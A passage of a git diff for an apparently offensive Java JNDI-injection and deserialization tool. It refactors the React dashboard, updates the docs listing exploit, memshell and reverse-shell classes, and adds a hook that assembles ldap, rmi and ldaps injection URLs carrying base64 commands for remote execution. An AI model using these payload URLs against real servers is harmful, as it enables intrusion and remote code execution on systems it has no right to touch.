diff --git a/README.md b/README.md index ef7bd62..232a45f 100644 --- a/README.md +++ b/README.md @@ -40,9 +40,6 @@ 如果你有其他很棒的想法请务必告诉我!😎 -## 🐯 编译 - -下载 gradle8.7+ 并配置到全局环境变量中,在项目根目录下执行 ```shell ./gradlew shadowJar diff --git a/docs/directory_structure.md b/docs/directory_structure.md index 6408a84..5518f36 100644 --- a/docs/directory_structure.md +++ b/docs/directory_structure.md @@ -1,72 +1,129 @@ -├─.gradle Gradle构建配置文件 -│ ├─8.7 -│ │ ├─checksums -│ │ ├─dependencies-accessors -│ │ │ └─525c6f5870ba43302c5969f432765d671d340d71 -│ │ │ ├─classes -│ │ │ │ └─org -│ │ │ │ └─gradle -│ │ │ │ └─accessors -│ │ │ │ └─dm -│ │ │ └─sources -│ │ │ └─org -│ │ │ └─gradle -│ │ │ └─accessors -│ │ │ └─dm -│ │ ├─executionHistory -│ │ ├─expanded -│ │ ├─fileChanges -│ │ ├─fileHashes -│ │ └─vcsMetadata -│ ├─buildOutputCleanup -│ └─vcs-1 -├─.idea IDEA配置信息文件 -│ ├─artifacts -│ ├─codeStyles -│ ├─inspectionProfiles -│ └─libraries -├─docs 有关文档 -├─gradle -│ └─wrapper -├─libs 第三方jar -└─src -├─main -│ └─java -│ └─com -│ └─qi4l -│ └─jndi -│ ├─controllers JNDI路由逻辑 -│ │ └─utils -│ ├─enumtypes -│ ├─exceptions -│ ├─exploit -cp 模式下的漏洞逻辑 -│ ├─gadgets 反序列化链 -│ │ ├─annotation -│ │ ├─Config -│ │ └─utils -│ │ ├─beanshell -│ │ ├─cc -│ │ ├─clojure -│ │ ├─dirty -│ │ ├─handle -│ │ ├─jdbc -│ │ ├─jre -│ │ └─utf8OverlongEncoding -│ └─template -│ ├─Agent Agent注入逻辑 -│ │ └─utli -│ ├─echo 回显类 -│ └─memshell 内存shell逻辑 -│ ├─BypassNginxCDN -│ ├─jboss -│ ├─jetty -│ ├─resin -│ ├─shell -│ ├─spring -│ ├─struts2 -│ ├─tomcat -│ ├─Tomcat_Spring_Jetty -│ ├─weblogic -│ └─Websphere -└─test -└─java \ No newline at end of file +. +├── .gradle Gradle 构建缓存 +│ ├── 7.6.6 Gradle 版本缓存 +│ │ ├── checksums +│ │ ├── dependencies-accessors +│ │ ├── executionHistory +│ │ ├── fileChanges +│ │ ├── fileHashes +│ │ └── gc.properties +│ ├── buildOutputCleanup +│ └── vcs-1 +├── .idea IDEA 配置 +│ ├── artifacts +│ ├── codeStyles +│ ├── inspectionProfiles +│ └── libraries +├── docs 项目文档 +│ └── directory_structure.md +├── gradle +│ └── wrapper Gradle Wrapper (7.6.6) +├── libs 第三方 JAR +├── src +│ ├── main +│ │ ├── frontend 前端 React 项目 +│ │ │ ├── public +│ │ │ └── src +│ │ ├── java +│ │ │ └── com/qi4l/JYso +│ │ │ ├── HTTPServer.java +│ │ │ ├── LdapServer.java +│ │ │ ├── LdapsServer.java +│ │ │ ├── RMIServer.java +│ │ │ ├── Starter.java +│ │ │ ├── controllers JNDI/LDAP 控制器 +│ │ │ │ ├── BaseLdapController.java 公共基类 +│ │ │ │ ├── BasicController.java +│ │ │ │ ├── ELProcessorController.java +│ │ │ │ ├── GroovyController.java +│ │ │ │ ├── LdapController.java 控制器接口 +│ │ │ │ ├── LdapMapping.java +│ │ │ │ ├── MemoryXXEController.java +│ │ │ │ ├── SerializedDataController.java +│ │ │ │ ├── SnakeYamlController.java +│ │ │ │ ├── XStreamController.java +│ │ │ │ ├── jdbcController1.java +│ │ │ │ ├── jdbcController2.java +│ │ │ │ ├── ldap2rmiController.java +│ │ │ │ ├── rmi RMI 工具类 +│ │ │ │ │ ├── Basic.java +│ │ │ │ │ └── ELProcessor.java +│ │ │ │ └── utils +│ │ │ │ └── JNDIUtils.java +│ │ │ ├── enumtypes +│ │ │ │ ├── GadgetType.java +│ │ │ │ ├── PayloadType.java +│ │ │ │ └── WebsphereActionType.java +│ │ │ ├── exceptions +│ │ │ │ ├── IncorrectParamsException.java +│ │ │ │ ├── UnSupportedActionTypeException.java +│ │ │ │ ├── UnSupportedGadgetTypeException.java +│ │ │ │ └── UnSupportedPayloadTypeException.java +│ │ │ ├── exploit -cp 模式漏洞利用 +│ │ │ │ ├── JBoss.java +│ │ │ │ ├── JMXInvokeMBean.java +│ │ │ │ ├── JRMPClassLoadingListener.java +│ │ │ │ ├── JRMPClient.java +│ │ │ │ ├── JRMPListener.java +│ │ │ │ ├── JSF.java +│ │ │ │ ├── JenkinsCLI.java +│ │ │ │ ├── JenkinsListener.java +│ │ │ │ ├── JenkinsReverse.java +│ │ │ │ └── RMIBindExploit.java +│ │ │ ├── gadgets 反序列化 Gadget +│ │ │ │ ├── ObjectPayload.java +│ │ │ │ ├── ReleaseableObjectPayload.java +│ │ │ │ ├── SignedObject.java +│ │ │ │ ├── annotation 注解 +│ │ │ │ │ ├── Authors.java +│ │ │ │ │ └── Dependencies.java +│ │ │ │ ├── Config 全局配置 +│ │ │ │ │ ├── Config.java +│ │ │ │ │ ├── MemShellPayloads.java +│ │ │ │ │ └── ysoserial.java +│ │ │ │ ├── utils 工具类 +│ │ │ │ │ ├── Gadgets.java +│ │ │ │ │ ├── Reflections.java +│ │ │ │ │ ├── Serializer.java +│ │ │ │ │ ├── Utils.java +│ │ │ │ │ ├── ... (ByteUtil, ClassFiles, HexUtils, InjShell 等) +│ │ │ │ │ ├── beanshell/ +│ │ │ │ │ ├── cc/ +│ │ │ │ │ ├── clojure/ +│ │ │ │ │ ├── dirty/ +│ │ │ │ │ ├── handle/ +│ │ │ │ │ ├── jre/ +│ │ │ │ │ └── utf8OverlongEncoding/ +│ │ │ │ └── *.java 各 Gadget 链实现 +│ │ │ ├── template 模板类 +│ │ │ │ ├── ClassLoaderTemplate.java +│ │ │ │ ├── DefineClassFromParameter.java +│ │ │ │ ├── HideMemShellTemplate.java +│ │ │ │ ├── Meterpreter.java +│ │ │ │ ├── ReverseShellTemplate.java +│ │ │ │ └── Template.java +│ │ │ └── web Web 控制台 +│ │ │ ├── JYsoWebApplication.java +│ │ │ ├── ApiAuthFilter.java +│ │ │ ├── AuthServlet.java +│ │ │ ├── JettyApiServlet.java +│ │ │ ├── RequestLogCollector.java +│ │ │ ├── SpaFallbackFilter.java +│ │ │ ├── StaticResourceServlet.java +│ │ │ └── config/ +│ │ │ ├── JYsoWebPasswordProvider.java +│ │ │ └── WebPasswordGenerator.java +│ │ └── resources 资源文件 +│ │ ├── application.properties +│ │ ├── log4j2.xml +│ │ └── static/ 前端打包产出 +│ └── test 测试代码 +│ └── java +│ ├── Main.java +│ └── com/example/demo/demos/web +│ ├── Test.java +│ └── secCig.java +├── build.gradle Gradle 构建脚本 +├── settings.gradle Gradle 项目设置 +├── README.md +└── README.en.md diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties index be6265b..878795c 100644 --- a/gradle/wrapper/gradle-wrapper.properties +++ b/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ #Thu Apr 23 23:23:32 CST 2026 distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.6.4-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-7.6.6-bin.zip zipStoreBase=GRADLE_USER_HOME zipStorePath=wrapper/dists diff --git a/src/main/frontend/src/components/CopyButton.jsx b/src/main/frontend/src/components/CopyButton.jsx new file mode 100644 index 0000000..e42efc1 --- /dev/null +++ b/src/main/frontend/src/components/CopyButton.jsx @@ -0,0 +1,38 @@ +import { useState, useCallback } from 'react' + +const CheckIcon = () => ( + + + +) + +const CopyIcon = () => ( + + + + +) + +export default function CopyButton({ text, className = '', title = 'Copy to clipboard' }) { + const [copied, setCopied] = useState(false) + + const handleCopy = useCallback(async () => { + if (!text) return + try { + await navigator.clipboard.writeText(text) + setCopied(true) + setTimeout(() => setCopied(false), 2000) + } catch { /* ignore */ } + }, [text]) + + return ( + + ) +} diff --git a/src/main/frontend/src/components/Toast.jsx b/src/main/frontend/src/components/Toast.jsx new file mode 100644 index 0000000..f74552b --- /dev/null +++ b/src/main/frontend/src/components/Toast.jsx @@ -0,0 +1,36 @@ +import { useState, useCallback, createContext, useContext } from 'react' + +const ToastContext = createContext(null) + +let toastId = 0 + +export function ToastProvider({ children }) { + const [toasts, setToasts] = useState([]) + + const showToast = useCallback((message, type = 'success') => { + const id = ++toastId + setToasts(prev => [...prev, { id, message, type }]) + setTimeout(() => { + setToasts(prev => prev.filter(t => t.id !== id)) + }, 3200) + }, []) + + return ( + + {children} +
+ {toasts.map(t => ( +
+ {t.message} +
+ ))} +
+
+ ) +} + +export function useToast() { + const ctx = useContext(ToastContext) + if (!ctx) throw new Error('useToast must be inside ToastProvider') + return ctx +} diff --git a/src/main/frontend/src/hooks/useDashboard.js b/src/main/frontend/src/hooks/useDashboard.js new file mode 100644 index 0000000..4477404 --- /dev/null +++ b/src/main/frontend/src/hooks/useDashboard.js @@ -0,0 +1,331 @@ +import { useState, useEffect, useMemo, useCallback, useRef } from 'react' +import { useNavigate } from 'react-router-dom' +import { + getStatus, toggleServer, getGadgets, + generatePayload as apiGenerate, updateConfig, setAuthToken, getLogs, + getFiles, downloadFile, deleteFile as apiDeleteFile, + uploadFile +} from '../api' + +const ROUTING_OPTIONS = ['Basic', 'ELProcessor', 'Groovy', 'jdbcBypass1', 'jdbcBypass2', 'ldap2rmi', 'SnakeYaml', 'XStream', 'MemoryXXE'] + +const DEFAULT_CONFIG = { + ip: '', ldapPort: 1389, ldapsPort: 1669, httpPort: 3456, rmiPort: 1099, + AESkey: '123', user: '', PASSWD: '', TLSProxy: false, keyPass: '', certFile: '' +} + +export default function useDashboard() { + const navigate = useNavigate() + const [mode, setMode] = useState('jndi') + const [animKey, setAnimKey] = useState(0) + const [status, setStatus] = useState({}) + const [loading, setLoading] = useState(false) + const [toggling, setToggling] = useState(null) + const [activeJndiTab, setActiveJndiTab] = useState('config') + const [gadgets, setGadgets] = useState([]) + const [gadgetSearch, setGadgetSearch] = useState('') + const [selectedGadget, setSelectedGadget] = useState('') + const [payloadCmd, setPayloadCmd] = useState('') + const [payloadResult, setPayloadResult] = useState('') + const [encodeBase64, setEncodeBase64] = useState(true) + const [showAdvanced, setShowAdvanced] = useState(false) + const [inherit, setInherit] = useState(false) + const [obscure, setObscure] = useState(false) + const [dcfp, setDcfp] = useState('') + const [dirtyType, setDirtyType] = useState('') + const [dirtyLength, setDirtyLength] = useState('') + const [noComSun, setNoComSun] = useState(false) + const [mozillaClassLoader, setMozillaClassLoader] = useState(false) + const [rhino, setRhino] = useState(false) + const [utf8Overlong, setUtf8Overlong] = useState(false) + const [payloadSubTab, setPayloadSubTab] = useState('gadget') + const [gadgetOpen, setGadgetOpen] = useState(false) + const [jndiPayloadResult, setJndiPayloadResult] = useState('') + const [rmiPayloadResult, setRmiPayloadResult] = useState('') + const [ldapsPayloadResult, setLdapsPayloadResult] = useState('') + const [jndiGadgetInput, setJndiGadgetInput] = useState('') + const [gadgetModeInput, setGadgetModeInput] = useState('') + const [saveFilename, setSaveFilename] = useState('') + const [filePath, setFilePath] = useState('') + const [classLoaderResult, setClassLoaderResult] = useState('') + const [rmiClassLoaderResult, setRmiClassLoaderResult] = useState('') + const [ldapsClassLoaderResult, setLdapsClassLoaderResult] = useState('') + const [routing, setRouting] = useState('ELProcessor') + const [routingOpen, setRoutingOpen] = useState(false) + const [logLines, setLogLines] = useState([]) + const [logLoading, setLogLoading] = useState(false) + const logEndRef = useRef(null) + const [files, setFiles] = useState([]) + const [filesLoading, setFilesLoading] = useState(false) + const [dragOver, setDragOver] = useState(false) + const [uploading, setUploading] = useState(false) + const fileInputRef = useRef(null) + const [configForm, setConfigForm] = useState({ ...DEFAULT_CONFIG }) + + const filteredGadgets = useMemo(() => { + if (!gadgetSearch) return gadgets + return gadgets.filter(g => g.name.toLowerCase().includes(gadgetSearch.toLowerCase())) + }, [gadgetSearch, gadgets]) + + const switchMode = useCallback((next) => { + if (next === mode) return + setMode(next) + setAnimKey(k => k + 1) + }, [mode]) + + async function loadStatus() { + try { + const res = await getStatus() + setStatus(res.data) + setConfigForm(prev => ({ + ...prev, + ip: res.data.ip || '', + ldapPort: res.data.ldapPort || 1389, + ldapsPort: res.data.ldapsPort || 1669, + httpPort: res.data.httpPort || 3456, + rmiPort: res.data.rmiPort || 1099, + AESkey: res.data.AESkey || '123', + user: res.data.user || '', + PASSWD: res.data.PASSWD || '', + TLSProxy: res.data.TLSProxy || false, + keyPass: res.data.keyPass || '', + certFile: res.data.certFile || '' + })) + } catch (e) { + if (e.response && e.response.status === 401) { + setAuthToken(null) + navigate('/login', { replace: true }) + } + } + } + + async function loadGadgets() { + try { + const res = await getGadgets() + setGadgets(res.data) + } catch (e) { /* ignore */ } + } + + async function handleToggleServer(server) { + setToggling(server) + try { + const res = await toggleServer(server) + if (res.data.success) { + setStatus(res.data.status) + } + } catch (e) { /* ignore */ } + finally { setToggling(null) } + } + + async function handleSaveConfig() { + setLoading(true) + try { + await updateConfig(configForm) + loadStatus() + } catch (e) { /* ignore */ } + finally { setLoading(false) } + } + + async function handleGeneratePayload() { + const gadgetName = (gadgetModeInput || selectedGadget || '').trim() + if (!gadgetName) return + setLoading(true) + try { + const res = await apiGenerate({ gadget: gadgetName, command: payloadCmd, filename: saveFilename, encodeBase64, + inherit, obscure, dcfp, dirtyType, dirtyLength, noComSun, mozillaClassLoader, rhino, utf8Overlong }) + if (res.data.success) { + setPayloadResult(res.data.message || 'Payload generated successfully') + if (res.data.saved) fetchFiles() + } else { + setPayloadResult('Error: ' + (res.data.error || 'unknown')) + } + } catch (e) { + setPayloadResult(e.response?.data?.error || 'Failed to generate payload') + } finally { setLoading(false) } + } + + function handleGenerateJndiPayload() { + const gadgetName = (jndiGadgetInput || selectedGadget || '').trim() + if (!gadgetName || !payloadCmd) return + setLoading(true) + setJndiPayloadResult('') + setRmiPayloadResult('') + setLdapsPayloadResult('') + try { + const bytes = new TextEncoder().encode(payloadCmd) + const cmdB64 = btoa(String.fromCharCode.apply(null, bytes)) + const ipAddr = configForm.ip || '0.0.0.0' + const ldapPort = configForm.ldapPort || 1389 + const rmiPort = configForm.rmiPort || 1099 + const ldapsPort = configForm.ldapsPort || 1669 + + setJndiPayloadResult(`ldap://${ipAddr}:${ldapPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`) + setRmiPayloadResult(`rmi://${ipAddr}:${rmiPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`) + setLdapsPayloadResult(`ldaps://${ipAddr}:${ldapsPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`) + } catch (e) { /* ignore */ } + finally { setLoading(false) } + } + + function handleGenerateClassLoader() { + const fp = filePath.trim() + const route = routing.trim() + if (!fp || !route) return + setLoading(true) + setClassLoaderResult('') + setRmiClassLoaderResult('') + setLdapsClassLoaderResult('') + if (!fp.toLowerCase().endsWith('.class')) { + setLoading(false) + return + } + try { + const ipAddr = configForm.ip || '0.0.0.0' + const ldapPort = configForm.ldapPort || 1389 + const rmiPort = configForm.rmiPort || 1099 + const ldapsPort = configForm.ldapsPort || 1669 + + setClassLoaderResult(`ldap://${ipAddr}:${ldapPort}/${route}/M-LF-${fp}`) + setRmiClassLoaderResult(`rmi://${ipAddr}:${rmiPort}/${route}/M-LF-${fp}`) + setLdapsClassLoaderResult(`ldaps://${ipAddr}:${ldapsPort}/${route}/M-LF-${fp}`) + } catch (e) { /* ignore */ } + finally { setLoading(false) } + } + + function logout() { + setAuthToken(null) + navigate('/login', { replace: true }) + } + + async function fetchLogs() { + setLogLoading(true) + try { + const res = await getLogs(100) + setLogLines(res.data.logs || []) + } catch { /* ignore */ } + finally { setLogLoading(false) } + } + + useEffect(() => { loadStatus(); loadGadgets() }, []) + + useEffect(() => { + if (mode !== 'gadget') return + fetchFiles() + }, [mode]) + + async function fetchFiles() { + setFilesLoading(true) + try { + const res = await getFiles() + setFiles(res.data) + } catch { /* ignore */ } + finally { setFilesLoading(false) } + } + + async function handleDownloadFile(name) { + try { + const res = await downloadFile(name) + const url = window.URL.createObjectURL(new Blob([res.data])) + const a = document.createElement('a') + a.href = url + a.download = name + a.click() + window.URL.revokeObjectURL(url) + } catch { /* ignore */ } + } + + async function handleDeleteFile(name) { + if (!confirm(`Delete ${name}?`)) return + try { + await apiDeleteFile(name) + fetchFiles() + } catch { /* ignore */ } + } + + function handleDragOver(e) { + e.preventDefault() + e.stopPropagation() + setDragOver(true) + } + + function handleDragLeave(e) { + e.preventDefault() + e.stopPropagation() + setDragOver(false) + } + + function handleDrop(e) { + e.preventDefault() + e.stopPropagation() + setDragOver(false) + const droppedFiles = e.dataTransfer.files + if (droppedFiles.length > 0) { + doUpload(droppedFiles[0]) + } + } + + function handleFileSelect(e) { + const selectedFiles = e.target.files + if (selectedFiles.length > 0) { + doUpload(selectedFiles[0]) + } + e.target.value = '' + } + + async function doUpload(file) { + setUploading(true) + try { + const formData = new FormData() + formData.append('file', file) + const res = await uploadFile(formData) + if (res.data.success) { + fetchFiles() + } + } catch (e) { /* ignore */ } + finally { + setUploading(false) + } + } + + useEffect(() => { + if (activeJndiTab !== 'logs') return + fetchLogs() + const id = setInterval(fetchLogs, 2000) + return () => clearInterval(id) + }, [activeJndiTab]) + + useEffect(() => { + if (logEndRef.current) logEndRef.current.scrollIntoView({ behavior: 'smooth' }) + }, [logLines]) + + return { + mode, animKey, switchMode, + status, toggling, handleToggleServer, + activeJndiTab, setActiveJndiTab, + gadgets, gadgetSearch, setGadgetSearch, selectedGadget, setSelectedGadget, filteredGadgets, + payloadCmd, setPayloadCmd, payloadResult, setPayloadResult, + encodeBase64, setEncodeBase64, + showAdvanced, setShowAdvanced, + inherit, setInherit, obscure, setObscure, + dcfp, setDcfp, dirtyType, setDirtyType, dirtyLength, setDirtyLength, + noComSun, setNoComSun, mozillaClassLoader, setMozillaClassLoader, + rhino, setRhino, utf8Overlong, setUtf8Overlong, + payloadSubTab, setPayloadSubTab, + gadgetOpen, setGadgetOpen, + jndiPayloadResult, rmiPayloadResult, ldapsPayloadResult, + jndiGadgetInput, setJndiGadgetInput, + gadgetModeInput, setGadgetModeInput, + saveFilename, setSaveFilename, + filePath, setFilePath, + classLoaderResult, rmiClassLoaderResult, ldapsClassLoaderResult, + routing, setRouting, routingOpen, setRoutingOpen, ROUTING_OPTIONS, + logLines, logLoading, fetchLogs, logEndRef, + files, filesLoading, fetchFiles, + dragOver, setDragOver, uploading, fileInputRef, + configForm, setConfigForm, + loading, setLoading, + handleSaveConfig, handleGeneratePayload, handleGenerateJndiPayload, handleGenerateClassLoader, + logout, + handleDownloadFile, handleDeleteFile, + handleDragOver, handleDragLeave, handleDrop, handleFileSelect + } +} diff --git a/src/main/frontend/src/index.css b/src/main/frontend/src/index.css index 4192acd..c69113e 100644 --- a/src/main/frontend/src/index.css +++ b/src/main/frontend/src/index.css @@ -790,27 +790,38 @@ select { } .log-container { - background: #0d1117; - border: 1px solid #30363d; - border-radius: 12px; - padding: 12px; + background: var(--bg-input); + border: 1px solid var(--border-color); + border-radius: 14px; + padding: 14px; max-height: 380px; overflow-y: auto; font-family: var(--font-mono); - font-size: 11px; + font-size: 12px; line-height: 1.65; transition: background var(--transition-fluid), border-color var(--transition-fluid); } .log-line { - color: #c9d1d9; + color: var(--text-secondary); white-space: pre-wrap; word-break: break-all; - padding: 1px 0; + padding: 2px 0; +} + +.log-line:nth-child(odd) { + background: rgba(0, 0, 0, 0.02); + border-radius: 4px; + padding: 2px 6px; + margin: 0 -6px; +} + +[data-theme="dark"] .log-line:nth-child(odd) { + background: rgba(255, 255, 255, 0.03); } .log-empty { - color: #8b949e; + color: var(--text-muted); text-align: center; padding: 32px 0; font-family: 'Inter', sans-serif; @@ -907,31 +918,164 @@ select { } .file-upload-zone { - border: 2px dashed var(--border); - border-radius: 8px; + border: 2px dashed var(--border-color); + border-radius: 14px; padding: 18px; text-align: center; cursor: pointer; - transition: all .2s; + transition: all var(--transition-fast); margin-bottom: 10px; color: var(--text-muted); font-size: 13px; font-family: 'Inter', sans-serif; } .file-upload-zone:hover { - border-color: var(--primary); - color: var(--primary); + border-color: var(--accent); + color: var(--accent); + background: var(--accent-glow); } .file-upload-zone.drag-over { - border-color: var(--primary); - background: rgba(99, 102, 241, 0.08); - color: var(--primary); + border-color: var(--accent); + background: var(--accent-glow); + color: var(--accent); } .file-upload-zone.uploading { opacity: 0.6; pointer-events: none; } +::-webkit-scrollbar { + width: 6px; + height: 6px; +} + +::-webkit-scrollbar-track { + background: transparent; +} + +::-webkit-scrollbar-thumb { + background: var(--text-muted); + border-radius: 3px; + opacity: 0.4; +} + +::-webkit-scrollbar-thumb:hover { + background: var(--text-secondary); +} + +::-webkit-scrollbar-corner { + background: transparent; +} + +.toast-container { + position: fixed; + top: 20px; + left: 50%; + transform: translateX(-50%); + z-index: 1000; + display: flex; + flex-direction: column; + gap: 8px; + pointer-events: none; +} + +.toast { + pointer-events: auto; + padding: 12px 20px; + border-radius: 14px; + font-size: 14px; + font-weight: 500; + backdrop-filter: blur(24px) saturate(180%); + -webkit-backdrop-filter: blur(24px) saturate(180%); + box-shadow: var(--card-shadow-lg); + animation: toastSlideIn 320ms cubic-bezier(0.22, 0.1, 0, 1) both, toastFadeOut 320ms cubic-bezier(0.22, 0.1, 0, 1) 2800ms forwards; + max-width: 420px; + word-break: break-word; +} + +.toast-success { + background: var(--success-bg); + color: var(--success); + border: 1px solid var(--success); +} + +.toast-error { + background: var(--danger-bg); + color: var(--danger); + border: 1px solid var(--danger); +} + +@keyframes toastSlideIn { + from { opacity: 0; transform: translateY(-12px) scale(0.96); } + to { opacity: 1; transform: translateY(0) scale(1); } +} + +@keyframes toastFadeOut { + from { opacity: 1; transform: translateY(0) scale(1); } + to { opacity: 0; transform: translateY(-8px) scale(0.96); } +} + +.mode-switch-enter { + animation: modeSwitchIn 380ms cubic-bezier(0.22, 0.1, 0, 1) both; +} + +.mode-switch-exit { + animation: modeSwitchOut 280ms cubic-bezier(0.22, 0.1, 0, 1) both; +} + +@keyframes modeSwitchIn { + from { opacity: 0; transform: translateY(16px) scale(0.98); } + to { opacity: 1; transform: translateY(0) scale(1); } +} + +@keyframes modeSwitchOut { + from { opacity: 1; transform: translateY(0) scale(1); } + to { opacity: 0; transform: translateY(-8px) scale(0.98); } +} + +.input-icon-wrap { + position: relative; +} + +.input-icon-wrap .input-icon { + position: absolute; + left: 12px; + top: 50%; + transform: translateY(-50%); + color: var(--text-muted); + pointer-events: none; + transition: color var(--transition-fast); +} + +.input-icon-wrap input, +.input-icon-wrap textarea { + padding-left: 38px !important; +} + +.input-icon-wrap input:focus + .input-icon, +.input-icon-wrap textarea:focus + .input-icon { + color: var(--accent); +} + +.wiki-btn svg { + margin-left: 4px; + opacity: 0.6; +} + +@media (max-width: 768px) { + .page-shell { padding: 48px 16px 32px; } + .grid-2 { grid-template-columns: 1fr; } + .config-form { grid-template-columns: 1fr; } + .config-form .btn { grid-column: span 1; } + .login-inner { padding: 36px 28px 32px; } + .gadget-layout { flex-direction: column !important; } + .gadget-layout > .glass-card { width: 100% !important; } + .header { flex-wrap: wrap; gap: 12px; } + .header .mode-segment-control { order: 3; width: 100%; } + .header-right { order: 2; } + .toast { max-width: calc(100vw - 32px); } +} + @media (prefers-reduced-motion: reduce) { *, *::before, *::after { transition-duration: 0ms !important; diff --git a/src/main/frontend/src/main.jsx b/src/main/frontend/src/main.jsx index 0fefa4b..49a4635 100644 --- a/src/main/frontend/src/main.jsx +++ b/src/main/frontend/src/main.jsx @@ -2,15 +2,18 @@ import React from 'react' import ReactDOM from 'react-dom/client' import { HashRouter } from 'react-router-dom' import { ThemeProvider } from './context/ThemeContext' +import { ToastProvider } from './components/Toast' import App from './App' import './index.css' ReactDOM.createRoot(document.getElementById('root')).render( - - - + + + + + ) diff --git a/src/main/frontend/src/pages/Dashboard.jsx b/src/main/frontend/src/pages/Dashboard.jsx index 451c0cc..b58cde8 100644 --- a/src/main/frontend/src/pages/Dashboard.jsx +++ b/src/main/frontend/src/pages/Dashboard.jsx @@ -1,349 +1,77 @@ -import { useState, useEffect, useMemo, useCallback, useRef } from 'react' -import { useNavigate } from 'react-router-dom' import { useTheme } from '../context/ThemeContext' -import { - getStatus, toggleServer, getGadgets, - generatePayload as apiGenerate, updateConfig, setAuthToken, getLogs, - getFiles, downloadFile, deleteFile as apiDeleteFile, - uploadFile -} from '../api' +import { useToast } from '../components/Toast' +import useDashboard from '../hooks/useDashboard' +import CopyButton from '../components/CopyButton' + +const ExternalLinkIcon = () => ( + + + + +) + +const SearchIcon = () => ( + + + +) + +const CommandIcon = () => ( + + + +) + +const FileIcon = () => ( + + + +) export default function Dashboard() { - const navigate = useNavigate() const { theme, toggleTheme } = useTheme() - const [mode, setMode] = useState('jndi') - const [animKey, setAnimKey] = useState(0) - const [status, setStatus] = useState({}) - const [loading, setLoading] = useState(false) - const [msg, setMsg] = useState({ success: '', error: '' }) - const [toggling, setToggling] = useState(null) - const [activeJndiTab, setActiveJndiTab] = useState('config') - const [gadgets, setGadgets] = useState([]) - const [gadgetSearch, setGadgetSearch] = useState('') - const [selectedGadget, setSelectedGadget] = useState('') - const [payloadCmd, setPayloadCmd] = useState('') - const [payloadResult, setPayloadResult] = useState('') - const [encodeBase64, setEncodeBase64] = useState(true) - const [copied, setCopied] = useState(false) - const [showAdvanced, setShowAdvanced] = useState(false) - const [inherit, setInherit] = useState(false) - const [obscure, setObscure] = useState(false) - const [dcfp, setDcfp] = useState('') - const [dirtyType, setDirtyType] = useState('') - const [dirtyLength, setDirtyLength] = useState('') - const [noComSun, setNoComSun] = useState(false) - const [mozillaClassLoader, setMozillaClassLoader] = useState(false) - const [rhino, setRhino] = useState(false) - const [utf8Overlong, setUtf8Overlong] = useState(false) - const [payloadSubTab, setPayloadSubTab] = useState('gadget') - const [gadgetOpen, setGadgetOpen] = useState(false) - const [jndiPayloadResult, setJndiPayloadResult] = useState('') - const [rmiPayloadResult, setRmiPayloadResult] = useState('') - const [ldapsPayloadResult, setLdapsPayloadResult] = useState('') - const [jndiGadgetInput, setJndiGadgetInput] = useState('') - const [gadgetModeInput, setGadgetModeInput] = useState('') - const [saveFilename, setSaveFilename] = useState('') - const [filePath, setFilePath] = useState('') - const [classLoaderResult, setClassLoaderResult] = useState('') - const [rmiClassLoaderResult, setRmiClassLoaderResult] = useState('') - const [ldapsClassLoaderResult, setLdapsClassLoaderResult] = useState('') - const [routing, setRouting] = useState('ELProcessor') - const [routingOpen, setRoutingOpen] = useState(false) - const [logLines, setLogLines] = useState([]) - const [logLoading, setLogLoading] = useState(false) - const logEndRef = useRef(null) - const [files, setFiles] = useState([]) - const [filesLoading, setFilesLoading] = useState(false) - const [dragOver, setDragOver] = useState(false) - const [uploading, setUploading] = useState(false) - const fileInputRef = useRef(null) - - const ROUTING_OPTIONS = ['Basic', 'ELProcessor', 'Groovy', 'jdbcBypass1', 'jdbcBypass2', 'ldap2rmi', 'SnakeYaml', 'XStream', 'MemoryXXE'] - - const [configForm, setConfigForm] = useState({ - ip: '', ldapPort: 1389, ldapsPort: 1669, httpPort: 3456, rmiPort: 1099, - AESkey: '123', user: '', PASSWD: '', TLSProxy: false, keyPass: '', certFile: '' - }) - - const filteredGadgets = useMemo(() => { - if (!gadgetSearch) return gadgets - return gadgets.filter(g => g.name.toLowerCase().includes(gadgetSearch.toLowerCase())) - }, [gadgetSearch, gadgets]) - - const switchMode = useCallback((next) => { - if (next === mode) return - setMode(next) - setAnimKey(k => k + 1) - setMsg({ success: '', error: '' }) - }, [mode]) - - async function loadStatus() { - try { - const res = await getStatus() - setStatus(res.data) - setConfigForm(prev => ({ - ...prev, - ip: res.data.ip || '', - ldapPort: res.data.ldapPort || 1389, - ldapsPort: res.data.ldapsPort || 1669, - httpPort: res.data.httpPort || 3456, - rmiPort: res.data.rmiPort || 1099, - AESkey: res.data.AESkey || '123', - user: res.data.user || '', - PASSWD: res.data.PASSWD || '', - TLSProxy: res.data.TLSProxy || false, - keyPass: res.data.keyPass || '', - certFile: res.data.certFile || '' - })) - } catch (e) { - if (e.response && e.response.status === 401) { - setAuthToken(null) - navigate('/login', { replace: true }) - } - } - } - - async function loadGadgets() { - try { - const res = await getGadgets() - setGadgets(res.data) - } catch (e) { /* ignore */ } - } + const { showToast } = useToast() + const d = useDashboard() async function handleToggleServer(server) { - setToggling(server) - setMsg({ success: '', error: '' }) - try { - const res = await toggleServer(server) - if (res.data.success) { - setMsg({ success: server.toUpperCase() + ' ' + (res.data.running ? 'started' : 'stopped'), error: '' }) - setStatus(res.data.status) - } - } catch (e) { - setMsg({ success: '', error: 'Failed to toggle ' + server.toUpperCase() }) - } finally { setToggling(null) } + await d.handleToggleServer(server) + const isRunning = d.status[server + 'Running'] + showToast(`${server.toUpperCase()} ${isRunning ? 'stopped' : 'started'}`, 'success') } async function handleSaveConfig() { - setLoading(true) - setMsg({ success: '', error: '' }) - try { - await updateConfig(configForm) - setMsg({ success: 'Configuration saved', error: '' }) - loadStatus() - } catch (e) { - setMsg({ success: '', error: 'Failed to save configuration' }) - } finally { setLoading(false) } + await d.handleSaveConfig() + showToast('Configuration saved', 'success') } async function handleGeneratePayload() { - const gadgetName = (gadgetModeInput || selectedGadget || '').trim() - if (!gadgetName) return - setLoading(true) - setMsg({ success: '', error: '' }) - try { - const res = await apiGenerate({ gadget: gadgetName, command: payloadCmd, filename: saveFilename, encodeBase64, - inherit, obscure, dcfp, dirtyType, dirtyLength, noComSun, mozillaClassLoader, rhino, utf8Overlong }) - if (res.data.success) { - 